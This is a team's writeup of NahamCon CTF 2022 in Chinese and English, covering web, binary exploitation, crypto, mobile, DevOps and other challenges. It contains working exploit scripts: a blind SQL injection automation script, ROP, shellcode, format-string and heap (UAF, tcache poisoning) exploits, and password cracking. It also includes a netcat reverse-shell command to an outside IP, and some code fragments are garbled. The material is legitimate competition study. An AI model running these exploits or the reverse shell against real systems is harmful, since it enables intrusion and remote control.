点击蓝字,关注我们吧!
前言
头一次见到4000+队伍的比赛,discord里有20000+用户,可能这就是大V的力量吧。
部分题目是国外队友做出来的,所以wp中会有部分英文。
另外1000+solves的题目和几个别的wp队友在忙别的比赛也不写wp了,想要附件的可以后台回复“nahamcon”
(PS:招新也可以后台留言,Web、Crypto、Misc......)
#Web
#Flaskmetal Alchemist
The website contained a search bar having a Sort By drop-down list with 3 options: Name, Symbol and Atomic Number. SQL Injection.. is it you ?
I took a look at the source code provided.
Here, the most interesting line is :
metals = Metal.query.filter(
Metal.name.like("%{}%".format(search))
).order_by(text(order))metals = Metal.query.filter( Metal.name.like("%{}%".format(search)) ).order_by(text(order))
After some google research, we can understand through the previous line of code that the injection point is the ORDER_BY CLAUSE since it takes the result of the text() function - which allows us to excecute SQL statements - as argument.
Using burpsuite, it is possible to intercept the request and change the post parameters.
First, let’s check our methodology. Knowing that we control the ORDER_BY CLAUSE, we can trigger any SQL Statement we want to be executed. To verify this, I used the following payload:
search=Li&order=(SELECT (CASE WHEN (1=1) THEN atomic_number else name END));
PS: I tried using the IF statement but it didn’t work since it is only executed in the beggining of a query. Fortunately, “CASE” has the same function.
-
When true: the table is ordered by Atomic Number ==>
-
When false: the table is ordered by Name ==>
At this level, we made sure that according to the order of the elements, we can figure out if the condition we set in the CASE Statement is True or False. This comes to say that, in order to exfiltrate the flag, we can compare each character based on the True/False method. To do so, we used the SUBSTR() function to parse the string character by character. We were also given in the source code the table and the column name where we can find the flag.
Therefore, in order to automate this, I wrote the following script:
import requests, time
s = requests.Session()
dictionary = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','_','{','}']
URL = "http://challenge.nahamcon.com:31148/"
final = ""
for i in range(1,30):
for x in dictionary:
exploit = "(SELECT (CASE WHEN (SUBSTR((SELECT flag FROM flag)," + str(i) + ",1) = '" + x + "')THEN atomic_number else name END));"
#print exploit
data = {'search' : 'Li' , 'order' : exploit }
r = s.post(url = URL , data = data)
#print(r.text)
#print(r.text.index("Li"))
if r.text.index("Li") == 2657 :
final = final + x
print "Leaking contents: " + final
break
#Binary Exploitation
#Babiersteps
from pwn import *
context.binary = './babiersteps'
# io = process('./babiersteps')
io = remote('challenge.nahamcon.com', 30170)
io.sendline(p64(0x4011C9)*20)
io.interactive()
#Babysteps
from pwn import *
from icecream import ic
context.binary = './babysteps'
binary = context.binary
# io = process('./babysteps')
io = remote('challenge.nahamcon.com', 30495)
io.recvuntil(b'First, what is your baby name?n')
rop = ROP('./babysteps')
rop.raw(b'A'*0x1C)
rop.puts(binary.got['setbuf'])
rop.call(binary.start)
payload = rop.chain()
io.sendline(payload)
setbuf_addr = u32(io.recv(4))
gets_addr = u32(io.recv(4))
puts_addr = u32(io.recv(4))
ic(hex(setbuf_addr))
ic(hex(gets_addr))
ic(hex(puts_addr))
# https://libc.rip/
base = gets_addr-0x71e90
str_bin_sh = base+0x1b90f5
system_addr = base+0x47cb0
io.recvuntil(b'First, what is your baby name?n')
rop = ROP('./babysteps')
rop.raw(b'A'*0x1C)
rop.call(system_addr, (str_bin_sh,))
payload = rop.chain()
io.sendline(payload)
io.interactive()
#stackless
shellcode题,开启了沙箱:
执行shellcode的时候所有的寄存器都变成了0:
最后也执行了xor r15, r15,还把页权限改为了read|exec,也就是不可write
读取flag需要一个可读可写的地址,当前可用的地址又不能写,所以只能猜测一个可读可写的地址,步骤如下:
rsi赋值为0x7f0000000000
开始循环,每次rsi += 0x100000,然后尝试write(1, rsi, 0x30),然后判断rax是否为负数,如果是负数,继续循环
当结束上面的循环的时候,说明我们找到了libc的地址空间,但是可读不一定可写
所以开启新的循环,用read(0, rsi, 1)去找一个可写的区域,然后判断rax,这里每次rsi += 0x1000
找到可写的段后,开始open read write即可
比较坑的是,路径为/home/challenge/flag.txt
EXP:
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
lengthn", str(0x400))
# 利用write的返回值和read的返回值判断是否找到一个可读可写的段
shellcode = """
mov edi, 1
mov rsi, 0x7f0000000000
mov edx, 0x30
L1:
add rsi, 0x100000
mov eax, 1
syscall
test eax, eax
jng L1
xor edi, edi
mov edx, 1
L2:
add rsi, 0x1000
xor eax, eax
syscall
test eax, eax
jng L2
add rsi, 0x18
mov rsp, rsi
mov rax, 0x7478742e67616c66
push rax
mov rax, 0x2f65676e656c6c61
push rax
mov rax, 0x68632f656d6f682f
push rax
mov rax, 0
mov [rsp+0x18], rax
mov rdi, rsp
xor esi, esi
xor edx, edx
mov eax, 2
syscall
mov edi, eax
xor eax, eax
mov edx, 0x30
mov rsi, rsp
syscall
mov edi, 1
mov eax, 1
syscall
"""
data = asm(shellcode) + ShellcodeMall.amd64.cat_flag
data)
sleep(3)
s("x90"*0x1000)
ia()
#reading_list
有个格式化字符串的洞
是一个堆上的格式化字符串。解题思路如下:
泄露libc,pie和栈地址、堆地址
在栈上找一个链,修改booklist为可控的堆地址
构造overlapped chunk,利用tcache bin poisoning分配到__free_hook上
这里有个坑点是getline每次malloc似乎都是固定大小,之后会realloc调整堆
EXP:
from socket import timeout
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
context.update(timeout=5)
def show_list(n):
sla("> ", "1")
m = rs(n)
log_ex(f"msg: {m}")
return m
def add(name):
sla("> ", "2")
sla("Enter the book name: ", name)
def remove(idx):
sla("> ", "3")
sla(": ", str(idx))
def change(name):
sla("> ", "4")
sla("What is your name: ", name)
sla("What is your name: ", "roderick")
add("%6$p,%7$p,%23$p")
m = show_list(2)
m = (m[1][3:]).split(b",")
print(m)
code_base = int16_ex(m[0]) -0x11c0
stack_addr = int16_ex(m[1])
libc_base = int16_ex(m[2]) - libc.sym["__libc_start_main"] - 243
log_code_base_addr(code_base)
log_address("stack_addr", stack_addr)
log_libc_base_addr(libc_base)
for i in range(0x10):
add("deadbeef")
for i in range(0x10):
remove(1)
hook_addr = code_base + 0x4030
gadget_addr = libc_base + 0x00000000001518b0
target_stack_addr = stack_addr + 0x68
add(f"%{target_stack_addr & 0xffff}c%25$hn")
show_list(1)
add(f"%{hook_addr & 0xffff}c%53$hn")
show_list(1)
for i in range(1):
target_stack_addr += 2
hook_addr >>= 16
add(f"%{target_stack_addr & 0xffff}c%25$hn")
show_list(1)
add(f"%{hook_addr & 0xffff}c%53$hn")
show_list(1)
add("cafebeef%27$s")
show_list(1)
ru("cafebeef")
m = rs(2)[0]
heap_base = u64_ex(m) - 0x860
log_heap_base_addr(heap_base)
add(p64_ex(heap_base + 0xa90)*8)
heap_addr = heap_base + 0x340
add(f"%{heap_addr & 0xffff}c%27$hn".ljust(0x10, "a").encode() + cyclic(0x60))
show_list(1)
add("a"*0x70)
add(flat({0x58:0x81}, length=0x70))
add("c"*0x70)
add("d"*0x70)
add("e"*0x70)
remove(10)
remove(10)
remove(1)
add(flat({0x20:libc_base + libc.sym.__free_hook}, length=0x70))
add("/bin/sh;".ljust(0x70, "a"))
add(p64(libc.sym.system + libc_base)*0xe)
remove(12)
ia()
#Detour
题目分析:给了后门 给了任意地址写能力
思路:改finiarray为win即可
from pwn import *
p = process('./detour')
addr_win = 0x401209
addr_fini = 0x4031c8
addr_base = 0x403430
p.recvuntil(':')
p.sendline(str(addr_win))
p.recvuntil(':')
p.sendline(str(addr_fini-addr_base))
p.interactive()
#Free Real Estate
有个UAF
结构体信息为:
struct Prop{
void * _1;
void * _2;
float price;
size_t house_number;
char* street_name;
size_t * street_length;
char * comment;
size_t comment_length;
}
EXP:
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
def show():
sla("> ", "1")
def add(hn=1, sn=0x10, name="cafebeef", cn=0x10, a="y", c="deadbeef"):
sla("> ", "2")
sla("Enter the house number: ", str(hn))
sla("What is the length of the street name: ", str(sn))
sla("Enter the street name: ", name)
sla("What is the price of the property?: ", "1.1")
sla("Would you like to add a comment for this property? [y/n]: ", a)
if a =="y":
sla("What is the length of the comment?: ", str(cn))
sla("Enter the comment: ", c)
def remove():
sla("> ", "3")
def edit(cs="n", sl=0, sn=None, cc='y', cn=0, c="deadbeef"):
sla("> ", "4")
sla("Would you like to change the house number? [y/n]: ", 'n')
sla("Would you like to change the street? [y/n]: ", cs)
if cs == "y":
sla("Enter the new street name length: ", str(sl))
sla("Enter the new street name: ", sn)
sla("Would you like to change the price of the property? [y/n]: ", "n")
m = ru("comment")
sl(cc)
if cc == "n":
return
if b"Would you like to change" in m:
sla("Enter the new comment length: ", str(cn))
sla("Enter the new comment: ", c)
else:
sla("What is the length of the comment?: ", str(cn))
sla("Enter the comment: ", c)
def change(nn, name=None):
sla("> ", "5")
sla("What is the length of your new name?: ", str(nn))
if name:
sla("Enter your new name: ", name)
sla("Enter your name: ", "roderick")
add(cn=0x440)
change(0x20, "deadbeef")
remove()
add(a="n")
show()
libc_base = recv_current_libc_addr(offset=0x1ecbe0)
set_current_libc_base_and_log(libc_base, 0)
change(0x40, cyclic(0x30))
remove()
add(sn=0x40, cn=0x40)
remove()
change(0x40, p64(libc.sym.__free_hook))
add(sn=0x40, cn=0x40, c=p64(libc.sym.system))
change(0x40, "/bin/sh;")
change(0x100)
ia()
#Reverse Engineering
#babyrev
验证函数的返回值是输入字符串的正确字符个数,直接爆破就行了
#kamikaze
# gdb aes
a = bytes.fromhex('676e62637e3e3f383b3b686834393e28222125277474237a2a792d7e7b2a2a11181b1214125b0a0a0a0a0a0a0a0a0a0a')
flag = ''
for i, v in enumerate(a):
flag += chr(v^(i+1))
print(flag)
#Time Machine
.text:0000000000001C5A larl %r2, aFlag # "flag{"
.text:0000000000001C60 mvc (5,%r1), (%r2)
.text:0000000000001C66 iilf %r1, 'a993'
.text:0000000000001C6C strl %r1, b_27_4923
.text:0000000000001C72 iilf %r1, 'a76e'
.text:0000000000001C78 strl %r1, b_28_4924
.text:0000000000001C7E iilf %r1, 'da32'
.text:0000000000001C84 strl %r1, b_29_4925
.text:0000000000001C8A iilf %r1, '88fe'
.text:0000000000001C90 strl %r1, b_30_4926
.text:0000000000001C96 iilf %r1, '208e'
.text:0000000000001C9C strl %r1, b_31_4927
.text:0000000000001CA2 iilf %r1, '8789'
.text:0000000000001CA8 strl %r1, b_32_4928
.text:0000000000001CAE iilf %r1, '721e'
.text:0000000000001CB4 strl %r1, b_33_4929
.text:0000000000001CBA iilf %r1, 'c40c'
.text:0000000000001CC0 strl %r1, b_34_4930
.text:0000000000001CC6 iilf %r1, 'bc0b'
.text:0000000000001CCC strl %r1, b_35_4931
.text:0000000000001CD2 iilf %r1, 'e37a'
.text:0000000000001CD8 strl %r1, b_36_4932
.text:0000000000001CDE iilf %r1, '1d2a'
.text:0000000000001CE4 strl %r1, b_37_4933
.text:0000000000001CEA larl %r1, b_38_4934
.text:0000000000001CF0 mvi (%r1), '}'
有对应关系
.text:0000000000001944 larl %r1, b_54_4939
.text:000000000000194A la %r1, 0x19(%r1)
.text:000000000000194E lghi %r4, 4
.text:0000000000001952 larl %r3, b_32_4928
.text:0000000000001958 lgr %r2, %r1
.text:000000000000195C brasl %r14, _memcmp
.text:000000000000191C larl %r1, b_54_4939
.text:0000000000001922 la %r1, 0x21(%r1)
.text:0000000000001926 lghi %r4, 4
.text:000000000000192A larl %r3, b_31_4927
.text:0000000000001930 lgr %r2, %r1
.text:0000000000001934 brasl %r14, _memcmp
#Cryptography
#MAC and Cheese
from pwn import *
import binascii
HOST = 'challenge.nahamcon.com'
PORT = 31212
r = remote(HOST,PORT)
r.recvuntil(b'to do? ')
r.sendline(b'1')
r.recvuntil(b'hex format.n')
m1 = b'a'*112
r.sendline(m1)
t1 = r.recvline().strip()[-32:]
print(t1)
r.recvuntil(b'to do? ')
r.sendline(b'1')
r.recvuntil(b'hex format.n')
m2 = b'b'*112
r.sendline(m2)
t2 = r.recvline().strip()[-32:]
print(t2)
append = xor(m2[:16],binascii.unhexlify(t1))
print(append)
payload = b'a'*112+append+m2[16:]+(xor(m2[:16],binascii.unhexlify(t2))+m2[16:])*6+binascii.unhexlify(t2)
print(payload)
r.recvuntil(b'to do? ')
r.sendline(b'2')
r.recvuntil(b'16 bytes.n')
r.sendline(payload)
r.interactive()
#Forensics
#Johnks
增加图片高度后得到flag。
#A Wild Ride
rockyou.txt爆破压缩包的密码
fcrackzip --dictionary --use-unzip -p ~/rockyou.txt gpx.zip
然后批量上传gpx文件:
https://www.gpsvisualizer.com/draw/
#Mobile
#Mobilize
用jeb打开可以看到明文flag。
#OTP Vault
jadx打开以后翻所有resource,可以找到很多可疑的东西。
代码格式化一下
可以得到一个url和authorization
http://congon4tor.com:7777/flag
default.async(function(u) {
for (;;) switch (u.prev = u.next) {
case 0:
return u.prev = 0,
e = {
headers: {
Authorization: 'Bearer KMGQ0YTYgIMTk5Mjc2NzZY4OMjJlNzAC0WU2DgiYzE41ZDwN'
}
},
u.next = 4,
t.
default.awrap(p.
default.get(n.url + "/flag", e));
case 4:
o = u.sent,
n.setState({
output: o.data.flag
}),
u.next = 12;
break;
case 8:
u.prev = 8,
u.t0 = u.
catch(0),
console.log(u.t0),
n.setState({
output: 'An error occurred getting the flag'
});
case 12:
case "end":
return u.stop()
}
},
null, null, [[0, 8]], Promise)
},
n.onChangeText = function(t) {
n.setState({
text: t
})
}
#Secure Notes
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
public class App {
public static void main(String[] args) throws Exception {
File arg4 = new File("./db/db.encrypted");
// for 0000 ~ 9999
for (int index = 0; index < 10000; index++) {
// int to string
String pin = String.format("%04d", index);
String pwd = pin + pin + pin + pin;
try {
SecretKeySpec v1 = new SecretKeySpec(pwd.getBytes(), "AES");
Cipher v3_1 = Cipher.getInstance("AES");
v3_1.init(2, v1);
FileInputStream v0 = new FileInputStream(arg4);
byte[] v4 = new byte[((int) arg4.length())];
v0.read(v4);
byte[] v3_2 = v3_1.doFinal(v4);
File arg5 = new File("./db/notes"+pin+".db");
FileOutputStream v4_1 = new FileOutputStream(arg5);
v4_1.write(v3_2);
v0.close();
v4_1.close();
System.out.println("Successfully decrypted file " + pin);
} catch (NoSuchPaddingException | NoSuchAlgorithmException | InvalidKeyException | BadPaddingException
| IllegalBlockSizeException | IOException v3) {
// System.out.println("Error encrypting/decrypting file " + v3);
}
}
}
}
#Click Me!
直接逆so就行了,代码不多。
#DevOps
#Poisoned
往.drone.yml里添加一行命令
echo "$FLAG" | base64
+ echo "Running from the $DRONE_BRANCH branch"
Running from the master branch
+ echo "Flag -> $FLAG"
Flag -> [secret:flag]
+ echo "$FLAG" | base64
ZmxhZ3swZWU0YTAxMDFiYjk5MjkxMWMyYzU2ZTE3ZDliODZjZH0
#Hardware/RF
#Dweeno
From the schematic we see that we have an arduino mega connected at “4070” chip
we try to understand how the whole circuit works
let’s try ro find what is the chip and how i operates
first of all we are provided with a photo of the physical circuit :
we see that the chip is MM74HC86N lets seacrh it up :
we found that the operation it does is XOR between the inputs so a little more investigation on the
schematic and the source.ino file reveals the following procedure
[53] ^ 0 => [29]
[51] ^ 1 => [27]
[49] ^ 0 => [25]
[47] ^ 1 =>[ 23]
where [xx] the input or output pin of the arduino
basically the workflow is :
split every 8bit into two 4bit words and xor them with 0101
we write a solver :
def invert(test):
if test == "1":
return "0"
elif test == "0":
return "1"
with open('out.txt', 'r') as f:
lines = f.read().splitlines()
for line in lines:
print(f"{line[0]}{invert(line[1])}{line[2]}{invert(line[3])}{line[4]}{invert(line[5])}{line[6]}{invert(line[7])}")
#Cereal
Logic 2
#Gary's Sauce
修改代码打印变量,用icarus verilog仿真。
module flag_tb();
reg clk, rst;
reg [7:0] SW;
wire [7:0] disp;
reg BTNL;
reg [(38*8)-1:0] flag = "0123456789abcdef{}";
flag_capture fc(.clk(clk), .rst(rst), .BTNL(BTNL), .SW(SW), .disp(disp));
always
begin
clk=0;
forever #5 clk <= ~clk;
end
initial
begin
rst <= 1'b0;
#5;
rst <= 1'b1;
#5;
rst <= 1'b0;
end
integer i=0;
reg [7:0] mask = 8'b11111111;
initial
begin
SW = 16'b0000000000000000;
BTNL = 1'b0;
#20 $display("Starting");
for (i=1; i <= 38; i=i+1) begin
SW = flag & mask;
#20;
BTNL = 1'b1;
#20;
%02x, ch = %c, SW[6530] = %b%b%b%b, disp_hex = %x", i, SW, SW[6], SW[5], SW[3], SW[0], disp); =
BTNL = 1'b0;
#40;
flag = flag >> 8;
end
end
endmodule
> iverilog flag.v
> vvp a.out
Starting
i = 00000001, ch = }, SW[6530] = 1111, disp_hex = 56
i = 00000002, ch = 2, SW[6530] = 0100, disp_hex = 0b
i = 00000003, ch = a, SW[6530] = 1101, disp_hex = 0b
i = 00000004, ch = e, SW[6530] = 1101, disp_hex = 13
i = 00000005, ch = d, SW[6530] = 1100, disp_hex = 15
i = 00000006, ch = 2, SW[6530] = 0100, disp_hex = 0b
i = 00000007, ch = 4, SW[6530] = 0100, disp_hex = 01
i = 00000008, ch = c, SW[6530] = 1101, disp_hex = 1f
i = 00000009, ch = 0, SW[6530] = 0100, disp_hex = 0d
i = 0000000a, ch = e, SW[6530] = 1101, disp_hex = 13
i = 0000000b, ch = 0, SW[6530] = 0100, disp_hex = 0d
i = 0000000c, ch = 2, SW[6530] = 0100, disp_hex = 0b
i = 0000000d, ch = 8, SW[6530] = 0110, disp_hex = 15
i = 0000000e, ch = 9, SW[6530] = 0111, disp_hex = 16
i = 0000000f, ch = 2, SW[6530] = 0100, disp_hex = 0b
i = 00000010, ch = f, SW[6530] = 1100, disp_hex = 29
i = 00000011, ch = 0, SW[6530] = 0100, disp_hex = 0d
i = 00000012, ch = c, SW[6530] = 1101, disp_hex = 1f
i = 00000013, ch = 5, SW[6530] = 0101, disp_hex = 02
i = 00000014, ch = c, SW[6530] = 1101, disp_hex = 1f
i = 00000015, ch = 2, SW[6530] = 0100, disp_hex = 0b
i = 00000016, ch = 6, SW[6530] = 0100, disp_hex = 1f
i = 00000017, ch = f, SW[6530] = 1100, disp_hex = 29
i = 00000018, ch = 7, SW[6530] = 0101, disp_hex = 18
i = 00000019, ch = 0, SW[6530] = 0100, disp_hex = 0d
i = 0000001a, ch = 4, SW[6530] = 0100, disp_hex = 01
i = 0000001b, ch = 8, SW[6530] = 0110, disp_hex = 15
i = 0000001c, ch = 6, SW[6530] = 0100, disp_hex = 1f
i = 0000001d, ch = d, SW[6530] = 1100, disp_hex = 15
i = 0000001e, ch = 2, SW[6530] = 0100, disp_hex = 0b
i = 0000001f, ch = 8, SW[6530] = 0110, disp_hex = 15
i = 00000020, ch = 0, SW[6530] = 0100, disp_hex = 0d
i = 00000021, ch = 6, SW[6530] = 0100, disp_hex = 1f
i = 00000022, ch = {, SW[6530] = 1111, disp_hex = 40
i = 00000023, ch = g, SW[6530] = 1101, disp_hex = 27
i = 00000024, ch = a, SW[6530] = 1101, disp_hex = 0b
i = 00000025, ch = l, SW[6530] = 1110, disp_hex = 45
i = 00000026, ch = f, SW[6530] = 1100, disp_hex = 29
然后拿结果挨个跟波形图匹配。
#Malware
#Otto's it
运行后搜索内存 "flag{" unicode编码
#Free Nitro
https://www.virustotal.com/gui/file/7A83115AB46BA6A3C237D78F32BD3386FF4D4D7CD7B06AD731FE8071B2246278/behavior/Zenbox
VT上能看到flag
#Brain Melt
pyinstxtractor
https://tool.lu/pyc/
#USB Drive
访问文件里的网址,用base32解码保存为1.dll,调用后得到flag。
#Miscellaneous
#The Balloon
pastbin找到了:
D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUUwCiudIbEAtwwwEt33GpDDsGwG03sDDtwtsGpDDtt33333www03333GDfBDKWCkOUYYmCEisKYSeMucMSEUKYEcMSemiYuyeo4
然后cyberchef
#One Mantissa Please
9007199254740992
#To Be And Not To Be
NaN
#Scripting
#LOLD123
GIMME os
os OWN system WIT "nc -e /bin/sh 8.8.8.8 12345 2>& 1"!
#Steganography
#Ostrich
from PIL import Image, GifImagePlugin
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
import random
from apng import APNG
filenames = []
flag = "flag{00000000000000000000000000000000}"
orig_filename = "ostrich.jpg"
orig_image = Image.open(orig_filename)
orig = Image.open('origin.png')
width, height = orig_image.size
images = []
real_flag = ''
for i in range(len(flag)):
new_filename = f'./images/ostrich{i}.png'
new_image = Image.new(orig_image.mode, orig_image.size)
new_pixel = [0, 0, 0]
ext = Image.open(f'./extract/{i}.png')
tx, ty = 0, 0
for x in range(width):
for y in range(height):
if orig.getpixel((x, y)) != ext.getpixel((x, y)):
new_pixel = ext.getpixel((x, y))
tx, ty = x, y
print((x, y))
break
for ch in 'flag{0123456789abcdef}':
pixel = list(orig.getpixel((tx, ty)))
new_val = l2b(pixel[2]*ord(ch))
pixel[0] = new_val[0]
if len(new_val) > 1:
pixel[1] = new_val[1]
pixel[2] = 0
if list(new_pixel) == pixel:
print(ch)
real_flag += ch
print(real_flag)
if ch == '}':
exit(0)
break
#No Space Between Us
零宽隐写,但是是二进制。
Arr3stY0u是2022年1月3日从山海关安全团队中CTF选手组成的子团队。P1umH0建议用Arr3sted,但由于arrested这个单词译为"被捕",属实不吉利,故继续使用Arr3stY0u。我们积极参与国内外各大小型CTF竞赛,持续招收WEB方向nodejs审计选手、RE方向VM&推箱子选手、PWN方向堆和盲打玩的6的选手、CRYPTO区块链选手、IOT选手、工控选手、生物信息选手,有意者请后台私信我们。
让我知道你在看
原文始发于微信公众号(山海之关):NahamCon CTF 2022 Writeup
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论